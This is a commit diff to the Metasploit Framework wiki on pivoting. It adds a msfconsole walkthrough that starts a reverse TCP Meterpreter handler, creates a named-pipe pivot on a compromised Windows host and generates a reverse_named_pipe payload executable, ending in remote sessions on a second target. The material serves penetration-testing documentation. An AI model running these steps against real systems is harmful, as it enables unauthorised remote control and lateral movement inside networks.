Skip to content

Commit 4aa150b

Browse files
committed
Update pivot docs for reverse named pipe
1 parent 09f75c6 commit 4aa150b

File tree

1 file changed

+47
-9
lines changed

1 file changed

+47
-9
lines changed

docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md

Lines changed: 47 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -222,28 +222,66 @@ The Windows Meterpreter payload supports lateral movement in a network through S
222222
First open a Windows Meterpreter session to the pivot machine:
223223

224224
```
225-
use exploit/windows/smb/psexec
226-
run smb://admin:[email protected]
225+
msf6 > use payload/windows/x64/meterpreter/reverse_tcp
226+
smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
227+
lhost => 172.19.182.171
228+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
229+
lport => 4578
230+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
231+
[*] Payload Handler Started as Job 0
232+
233+
[*] Started reverse TCP handler on 172.19.182.171:4578
234+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
235+
[*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
227236
```
228237

229238
Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address:
230239

231240
```
232-
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msfpipe -a x64 -p windows
241+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
242+
[*] Starting interaction with 1...
243+
244+
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
233245
[+] Successfully created pipe pivot.
234-
meterpreter >
246+
meterpreter > background
247+
[*] Backgrounding session 1...
248+
```
249+
250+
Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine. Note there is no need to start a handler for the named pipe payload.
251+
235252
```
253+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
236254
237-
Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine:
255+
Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
238256
257+
Name Current Setting Required Description
258+
---- --------------- -------- -----------
259+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
260+
PIPEHOST . yes Host of the pipe to connect to
261+
PIPENAME msf-pipe yes Name of the pipe to listen on
262+
263+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
264+
pipehost => 169.254.16.221
265+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
266+
[*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...
239267
```
240-
msf6 > use windows/x64/meterpreter/reverse_named_pipe
241-
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -o named_pipe_example.exe -f exe pipehost=169.254.16.221 pipename=msfpipe
242-
[*] Writing 7168 bytes to named_pipe_example.exe...
268+
269+
After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
243270
```
271+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
244272
245-
After running the payload on the final Windows 2019 target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
273+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
246274
275+
Active sessions
276+
===============
277+
278+
Id Name Type Information Connection
279+
-- ---- ---- ----------- ----------
280+
1 meterpreter x64/windows WIN11\msfuser @ WIN11 172.19.182.171:4578 -> 172.19.185.34:49674 (172.19.185.34)
281+
2 meterpreter x64/windows WIN2019\msfuser @ WIN2019 Pivot via [172.19.182.171:4578 -> 172.19.185.34:49674]
282+
(169.254.204.110)
283+
284+
```
247285
## Pivoting External Tools
248286

249287
### portfwd

0 commit comments

Comments
 (0)